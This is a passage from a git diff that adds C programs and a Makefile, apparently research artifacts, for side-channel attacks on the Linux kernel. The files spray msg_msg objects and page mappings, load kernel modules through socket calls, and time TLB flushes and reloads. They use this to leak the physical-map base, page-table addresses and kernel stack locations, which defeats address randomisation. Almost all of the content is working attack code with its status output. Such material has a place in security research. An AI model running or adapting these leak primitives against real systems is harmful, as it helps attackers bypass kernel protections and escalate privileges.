qids[MSG_SPRAYS]; + +void __hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8, size_t print) +{ + size_t t; + size_t times[tries]; + size_t hist[HIST_SIZE] = {0}; + size_t times_n[tries]; + size_t hist_n[HIST_SIZE] = {0}; + size_t times_n4[tries]; + size_t hist_n4[HIST_SIZE] = {0}; + size_t times_n8[tries]; + size_t hist_n8[HIST_SIZE] = {0}; + /* leaking */ + for (size_t i = 0; i < tries; ++i) { + flush_tlb_targeted_4k(addr); + flush_tlb_targeted_4k(addr+PAGE_SIZE); + flush_tlb_targeted_4k(addr+PAGE_SIZE*4); + flush_tlb_targeted_4k(addr+PAGE_SIZE*8); + if (i % 2 == 0) + mprotect(uaddr, PAGE_SIZE, PROT_READ); + else + mprotect(uaddr, PAGE_SIZE, PROT_WRITE); + t = onlyreload(addr); + hist[MIN(t,HIST_SIZE-2)]++; + times[i] = t; + + t = onlyreload(addr+PAGE_SIZE); + times_n[i] = t; + hist_n[MIN(t,HIST_SIZE-2)]++; + + t = onlyreload(addr+PAGE_SIZE*4); + times_n4[i] = t; + hist_n4[MIN(t,HIST_SIZE-2)]++; + + t = onlyreload(addr+PAGE_SIZE*8); + times_n8[i] = t; + hist_n8[MIN(t,HIST_SIZE-2)]++; + } + qsort(times, tries, sizeof(size_t), comp); + qsort(times_n, tries, sizeof(size_t), comp); + qsort(times_n4, tries, sizeof(size_t), comp); + qsort(times_n8, tries, sizeof(size_t), comp); + for (size_t i = 20; i < HIST_SIZE && print; i += 2) + printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i], hist_n4[i], hist_n8[i]); + *time = times[tries/8]; + *time_n = times_n[tries/8]; + *time_n4 = times_n4[tries/8]; + *time_n8 = times_n8[tries/8]; +} +void hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8) +{ + __hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0); +} +void hit_flush_print(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8) +{ + __hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1); +} + +int main(void) +{ + printf("[*] start\n"); + set_limit(); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + pin_to_core(0); + + init_tlb_flush(); + get_total_memory(); + + static char buffer[0x1000] = {0}; + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE; + + printf("[*] make queues\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + + printf("[*] warmup and other alloc msg_msg structs\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + send_msg(qids[i], message, MSG_SIZE, 0); + + printf("[*] reserve mmappings\n"); + void *addresses[PAGE_SPRAY]; + for (size_t i = 0; i < PAGE_SPRAY; ++i) { + void *addr = (void *)((0x6dULL<<21) + (1ULL<<12)*i); + addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); + // printf("[*] addresses[%ld] %0zx (%016zx)\n", i, (size_t)addresses[i], (size_t)addr); + if (addresses[i] == MAP_FAILED) { + perror("mmap()"); + exit(-1); + } + } + void *other_addresses[PAGE_OTHER_SPRAY]; + for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) { + void *addr = (void *)((0x6fULL<<21) + (1ULL<<12)*i); + other_addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); + // printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i, (size_t)other_addresses[i], (size_t)addr); + if (other_addresses[i] == MAP_FAILED) { + perror("mmap()"); + exit(-1); + } + } + + printf("[*] load 1st half of kernel modules\n"); + int sock_fd; + sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP); + if (sock_fd < 0) { + perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)"); + exit(-1); + } + sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0); + if (sock_fd < 0) { + perror("socket(SOCK_DGRAM, CAN_BCM, 0)"); + exit(-1); + } + sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0); + if (sock_fd < 0) { + perror("socket(AF_VSOCK, SOCK_STREAM, 0)"); + exit(-1); + } + + /* hopefully allocate PUD of 4k mapping */ + for (size_t i = 0; i < PAGE_SPRAY; ++i) + *(volatile size_t *)addresses[i]; + for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) + *(volatile size_t *)other_addresses[i]; + + printf("[*] load 2nd half of kernel modules\n"); + sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP); + if (sock_fd < 0) { + perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)"); + exit(-1); + } + + size_t time; + size_t time_n; + size_t time_n4; + size_t time_n8; + size_t dpm_base = dpm_leak(TRIES); + printf("[*] dpm_base: %016zx\n", dpm_base); + +#ifdef DEBUG + lkm_init(); + size_t real_dpm_base; + lkm_dpm_leak((size_t)&real_dpm_base); + if (real_dpm_base != dpm_base) { + printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base, dpm_base); + exit(-1); + } + + size_t success = 0; + size_t cnt = 0; + + size_t pgde; + size_t pude; + size_t pmde; + size_t pte; + lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte); + size_t pud = dpm_base + (pgde & ~(0xfff)); + size_t pmd = dpm_base + (pude & ~(0xfff)); + size_t pt = dpm_base + (pmde & ~(0xfff)); + printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt); + size_t is_4kb = lkm_is_4kb(pmd); + printf("[*] %016zx is %s page\n", pt, is_4kb ? "4kB" : "2MB"); + hit_flush_print(addresses[0], pt, TRIES*10, &time, &time_n, &time_n4, &time_n8); +#endif + + for (size_t addr = dpm_base+(1ULL<<30); addr < dpm_base+mem_total_rounded; addr += PMD_SIZE) { + if ((addr % (1 << 30)) == 0) + printf("[*] addr %016zx\n", addr); + hit_flush(addresses[0], addr, TRIES/4, &time, &time_n, &time_n4, &time_n8); + if (time < THRESHOLD && time_n < THRESHOLD && time_n4 < THRESHOLD && time_n8 < THRESHOLD) + continue; + for (size_t addr4k = addr; addr4k < addr + PMD_SIZE; addr4k += PAGE_SIZE) { + hit_flush(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); + size_t found = IS_HIT(time, time_n, time_n4, time_n8); + if (found) { + for (size_t i = 1; i < PAGE_SPRAY && found == 1; ++i) { + hit_flush(addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); + found = IS_HIT(time, time_n, time_n4, time_n8); + } + for (size_t i = 1; i < PAGE_OTHER_SPRAY && found == 1; ++i) { + hit_flush(other_addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); + found = !IS_HIT(time, time_n, time_n4, time_n8); + } + } + if (found) { +#ifdef DEBUG + cnt++; + success |= (addr4k == pt); +#endif + printf("[+] found addr %016zx\n", addr4k); + } + + } + } + + printf("[*] cleanup\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + cleanup_queue(qids[i]); +#ifdef DEBUG + if (success == 1 && cnt == 1) + printf("[+] success\n"); + else if (!is_4kb) + printf("[!] 2MB page\n"); + else if (success == 1 && cnt > 1) + printf("[!] multiple addresses -> retry\n"); + else if (cnt == 0) + printf("[!] not found\n"); + else if (cnt == 1) + printf("[!] fail with one address\n"); + else + printf("[!] fail with multiple addresses\n"); +#else + printf("[*] done\n"); +#endif + return 0; +} diff --git a/artifacts/page-table/pud_4k_leak.c b/artifacts/page-table/pud_4k_leak.c new file mode 100644 index 000000000..8fcb8a78d --- /dev/null +++ b/artifacts/page-table/pud_4k_leak.c @@ -0,0 +1,269 @@ +#include "utils.h" +#include "cacheutils.h" +#include "tlb_flush.h" +#include "coarse_grain_leak.h" +#define VALIDATE +#ifdef VALIDATE +#include "ulkm.h" +#endif +#include "msg_msg.h" +#include +#include +#define IPPROTO_DCCP 33 +#define IPPROTO_SCTP 132 +#define IPPROTO_L2TP 115 +#define CAN_RAW 1 +#define CAN_BCM 2 +#define CAN_ISOTP 6 + +#define HIST_SIZE 60 +#define TRIES 40 + +#define PMD_SPRAY (20) +#define PMD_OTHER_SPRAY (4) +#define PAGE_SIZE (1<<12) +#define PMD_SIZE (1<<21) + +#define MSG_SIZE (256 - 48) +#define MSG_SPRAYS (1<<8)*32 +#define MSG_TYPE 0x41 + +#define IS_HIT(t, tn2, tn4, tn8) (((tn2) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn4) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn8) - (t) >= (THRESHOLD2-THRESHOLD+2))) + +int qids[MSG_SPRAYS]; + +void __hit_flush(void *uaddr, size_t addr, size_t tries, ssize_t *time, ssize_t *time_n, ssize_t *time_n4, ssize_t *time_n8, size_t print) +{ + size_t t; + size_t times[tries]; + size_t hist[HIST_SIZE] = {0}; + size_t times_n[tries]; + size_t hist_n[HIST_SIZE] = {0}; + size_t times_n4[tries]; + size_t hist_n4[HIST_SIZE] = {0}; + size_t times_n8[tries]; + size_t hist_n8[HIST_SIZE] = {0}; + /* leaking */ + for (size_t i = 0; i < tries; ++i) { + flush_tlb_targeted_4k(addr); + flush_tlb_targeted_4k(addr+PAGE_SIZE); + flush_tlb_targeted_4k(addr+PAGE_SIZE*4); + flush_tlb_targeted_4k(addr+PAGE_SIZE*8); + if (i % 2 == 0) + mprotect(uaddr, PAGE_SIZE, PROT_READ); + else + mprotect(uaddr, PAGE_SIZE, PROT_WRITE); + t = onlyreload(addr); + hist[MIN(t,HIST_SIZE-2)]++; + times[i] = t; + + t = onlyreload(addr+PAGE_SIZE); + times_n[i] = t; + hist_n[MIN(t,HIST_SIZE-2)]++; + + t = onlyreload(addr+PAGE_SIZE*4); + times_n4[i] = t; + hist_n4[MIN(t,HIST_SIZE-2)]++; + + t = onlyreload(addr+PAGE_SIZE*8); + times_n8[i] = t; + hist_n8[MIN(t,HIST_SIZE-2)]++; + } + qsort(times, tries, sizeof(size_t), comp); + qsort(times_n, tries, sizeof(size_t), comp); + qsort(times_n4, tries, sizeof(size_t), comp); + qsort(times_n8, tries, sizeof(size_t), comp); + for (size_t i = 20; i < HIST_SIZE && print; i += 2) + printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i], hist_n4[i], hist_n8[i]); + *time = times[tries/8]; + *time_n = times_n[tries/8]; + *time_n4 = times_n4[tries/8]; + *time_n8 = times_n8[tries/8]; +} +void hit_flush(void *uaddr, size_t addr, size_t tries, ssize_t *time, ssize_t *time_n, ssize_t *time_n4, ssize_t *time_n8) +{ + __hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0); +} +void hit_flush_print(void *uaddr, size_t addr, size_t tries, ssize_t *time, ssize_t *time_n, ssize_t *time_n4, ssize_t *time_n8) +{ + __hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1); +} + +int main(void) +{ + printf("[*] start\n"); + set_limit(); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + pin_to_core(0); + + init_tlb_flush(); + get_total_memory(); + + static char buffer[0x1000] = {0}; + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE; + + printf("[*] make queues\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + + printf("[*] warmup and other alloc msg_msg structs\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + send_msg(qids[i], message, MSG_SIZE, 0); + + printf("[*] reserve mmappings\n"); + void *addresses[PMD_SPRAY]; + for (size_t i = 0; i < PMD_SPRAY; ++i) { + void *addr = (void *)((0x6dULL<<39) + (1ULL<<30)*i); + addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); + // printf("[*] addresses[%ld] %0zx (%016zx)\n", i, (size_t)addresses[i], (size_t)addr); + if (addresses[i] == MAP_FAILED) { + perror("mmap()"); + exit(-1); + } + } + void *other_addresses[PMD_OTHER_SPRAY]; + for (size_t i = 0; i < PMD_OTHER_SPRAY; ++i) { + void *addr = (void *)((0x6fULL<<39) + (1ULL<<30)*i); + other_addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); + // printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i, (size_t)other_addresses[i], (size_t)addr); + if (other_addresses[i] == MAP_FAILED) { + perror("mmap()"); + exit(-1); + } + } + + printf("[*] load 1st half of kernel modules\n"); + int sock_fd; + sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP); + if (sock_fd < 0) { + perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)"); + exit(-1); + } + sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0); + if (sock_fd < 0) { + perror("socket(SOCK_DGRAM, CAN_BCM, 0)"); + exit(-1); + } + sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0); + if (sock_fd < 0) { + perror("socket(AF_VSOCK, SOCK_STREAM, 0)"); + exit(-1); + } + + /* hopefully allocate PUD of 4k mapping */ + for (size_t i = 0; i < PMD_SPRAY; ++i) + *(volatile size_t *)addresses[i]; + for (size_t i = 0; i < PMD_OTHER_SPRAY; ++i) + *(volatile size_t *)other_addresses[i]; + + printf("[*] load 2nd half of kernel modules\n"); + sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP); + if (sock_fd < 0) { + perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)"); + exit(-1); + } + + ssize_t time; + ssize_t time_n; + ssize_t time_n4; + ssize_t time_n8; + size_t dpm_base = dpm_leak(TRIES); + printf("[*] dpm_base: %016zx\n", dpm_base); + +#ifdef VALIDATE + lkm_init(); + size_t real_dpm_base; + lkm_dpm_leak((size_t)&real_dpm_base); + if (real_dpm_base != dpm_base) { + printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base, dpm_base); + exit(-1); + } + + size_t success = 0; + size_t cnt = 0; + + size_t pgde; + size_t pude; + size_t pmde; + size_t pte; + lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte); + size_t pud = dpm_base + (pgde & ~(0xfff)); + size_t pmd = dpm_base + (pude & ~(0xfff)); + size_t pt = dpm_base + (pmde & ~(0xfff)); + printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt); + size_t is_4kb = lkm_is_4kb(pud); + printf("[*] %016zx is %s page\n", pud, is_4kb ? "4kB" : "2MB"); + hit_flush_print(addresses[0], pud, TRIES*10, &time, &time_n, &time_n4, &time_n8); +#endif + + for (size_t addr = dpm_base+(1ULL<<30); addr < dpm_base+mem_total_rounded; addr += PMD_SIZE) { + if ((addr % (1 << 30)) == 0) + printf("[*] addr %016zx\n", addr); + hit_flush(addresses[0], addr, TRIES/4, &time, &time_n, &time_n4, &time_n8); + if (time < THRESHOLD && time_n < THRESHOLD && time_n4 < THRESHOLD && time_n8 < THRESHOLD) + continue; + for (size_t addr4k = addr; addr4k < addr + PMD_SIZE; addr4k += PAGE_SIZE) { + if (addr4k == pud) { + hit_flush_print(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); + printf("[*] times: %zd %zd %zd %zd\n", time, time_n, time_n4, time_n8); + } else + hit_flush(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); + size_t found = IS_HIT(time, time_n, time_n4, time_n8); + // size_t found = time < THRESHOLD && (time_n > THRESHOLD || time_n4 > THRESHOLD || time_n8 > THRESHOLD); + if (found) { + // printf("[*] finer check of %016zx\n", addr4k); + for (size_t i = 1; i < PMD_SPRAY && found == 1; ++i) { + hit_flush(addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); + found = IS_HIT(time, time_n, time_n4, time_n8); + // found = time < THRESHOLD && (time_n > THRESHOLD || time_n4 > THRESHOLD || time_n8 > THRESHOLD); + } + for (size_t i = 1; i < PMD_OTHER_SPRAY && found == 1; ++i) { + hit_flush(other_addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); + // found = !(time < THRESHOLD && (time_n > THRESHOLD || time_n4 > THRESHOLD || time_n8 > THRESHOLD)); + found = !IS_HIT(time, time_n, time_n4, time_n8); + } + } + if (found) { +#ifdef VALIDATE + cnt++; + success |= (addr4k == pud); +#endif + printf("[+] found addr %016zx\n", addr4k); + } + } + } + + printf("[*] cleanup\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + cleanup_queue(qids[i]); +#ifdef VALIDATE + if (success == 1 && cnt == 1) + printf("[+] success\n"); + else if (!is_4kb) + printf("[!] 2MB page\n"); + else if (success == 1 && cnt > 1) + printf("[!] multiple addresses -> retry\n"); + else if (cnt == 0) + printf("[!] not found\n"); + else if (cnt == 1) + printf("[!] fail with one address\n"); + else + printf("[!] fail with multiple addresses\n"); +#else + printf("[*] done\n"); +#endif + return 0; +} diff --git a/artifacts/stack/Makefile b/artifacts/stack/Makefile new file mode 100644 index 000000000..3ea64736e --- /dev/null +++ b/artifacts/stack/Makefile @@ -0,0 +1,24 @@ +CC := gcc + +SOURCES := $(wildcard *.c) + +TARGETS := $(SOURCES:.c=.elf) + +CFLAGS += -g +CFLAGS += -O2 +CFLAGS += -static +CFLAGS += -Wall +CFLAGS += -Wextra +CFLAGS += -Wno-int-to-pointer-cast +CFLAGS += -Wno-pointer-to-int-cast +CFLAGS += -D_FILE_OFFSET_BITS=64 +CFLAGS += -I../include +CFLAGS += -pthread + +all: $(TARGETS) + +%.elf: %.c ../include/tlb_flush.h ../include/cacheutils.h ../include/ulkm.h ../include/utils.h ../include/coarse_grain_leak.h + $(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@ + +clean: + rm -f *.elf diff --git a/artifacts/stack/stack_leak.c b/artifacts/stack/stack_leak.c new file mode 100644 index 000000000..66478b646 --- /dev/null +++ b/artifacts/stack/stack_leak.c @@ -0,0 +1,117 @@ +#include "utils.h" +#include "cacheutils.h" +#include "msg_msg.h" +#include "coarse_grain_leak.h" +#define VALIDATE +#ifdef VALIDATE +#include "ulkm.h" +#endif +#include +#include +#include +#include "tlb_flush.h" + +#define VMALLOC_START 0xffff980000000000 +#define VMALLOC_END 0xffffd7ffffffffff +#define VMALLOC_STEP (1<<30) +#define HIST_SIZE 80 +size_t stack; + + +/** + * Does the page return hits after calling syscall, and does it have unmapped guard pages after it + */ +size_t hit_flush(size_t addr, size_t tries) +{ + size_t time; + size_t time_n1; + size_t times[tries]; + size_t times_n1[tries]; + prefetch2((void*)addr+(1<<12)); + prefetch2((void*)addr+(3<<12)); + /* leaking */ + for (size_t i = 0; i < tries; ++i) { + flush_tlb_targeted_4k(addr); + syscall(-1); + asm volatile("lfence"); + asm volatile("mfence"); + time = onlyreload(addr); + time_n1 = onlyreload(addr+(1<<12)); + asm volatile("lfence"); + asm volatile("mfence"); + + times[i] = time; + times_n1[i] = time_n1; + } + qsort(times, tries, sizeof(size_t), comp); + qsort(times_n1, tries, sizeof(size_t), comp); + time = times[tries/4]; + time_n1 = times_n1[tries/4]; + return (time <= THRESHOLD && time_n1 >= THRESHOLD2); +} + +int main(void) +{ + printf("[*] start\n"); + set_limit(); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + pin_to_core(0); + init_tlb_flush(); + + /* warump */ + for (volatile size_t i = 0; i < (1ULL << 30); ++i); + +#ifdef VALIDATE + lkm_init(); + lkm_stack_leak((size_t)&stack); + size_t vmalloc_base; + lkm_vmalloc_base_leak((size_t)&vmalloc_base); + printf("[*] vmalloc_base %016zx\n", vmalloc_base); + printf("[*] lkm_stack_leak %016zx\n", stack); + printf("[*] hit_flush[lkm_stack_leak] %s\n", hit_flush(stack, 100) ? "hit" : "miss"); /* should be miss */ + printf("[*] hit_flush[lkm_stack_leak+0x3000] %s\n", hit_flush(stack+0x3000, 100) ? "hit" : "miss"); /* should be hit */ + printf("[*] hit_flush[lkm_stack_leak+0x7000] %s\n", hit_flush(stack+0x7000, 100) ? "hit" : "miss"); /* should be miss */ +#endif + + /* try to detect when we've left the vmalloc area by counting how many unmapped pages we've found */ + unsigned memory_hole = 0; + unsigned max_hole = 0; + size_t addr = vmalloc_leak(50); + printf("[*] found vmalloc, trying [%016zx %016zx]\n", addr, VMALLOC_END); + for (size_t fine_addr = addr; fine_addr < addr+(4ULL<<30); fine_addr += 0x4000) { + size_t pot_stack = fine_addr + 0x3000; + size_t found = hit_flush(pot_stack, 100); + if (found) { + if ((pot_stack & 0x1ff000) != 0x1ff000) { + printf("[*] found addr %016zx, stack: %016zx\n", pot_stack, stack + 0x3000); +#ifdef VALIDATE + if (pot_stack == stack + 0x3000) + printf("[+] success\n"); + else + printf("[!] fail\n"); + return pot_stack == stack + 0x3000; +#else + return 0; +#endif + } else { + printf("[*] disqualified addr %016zx based on alignment 0x1ff000\n", pot_stack); + } + } + + if (hit(fine_addr, 4)) { + memory_hole = 0; + } else { + memory_hole++; + if (memory_hole > max_hole + 8) + max_hole = memory_hole; + if (memory_hole > 65000) { + printf("[!] aborting because we haven't seen a mapped page in 1GB\n"); + return -2; + } + } + } + printf("[!] not found\n"); + return -3; +}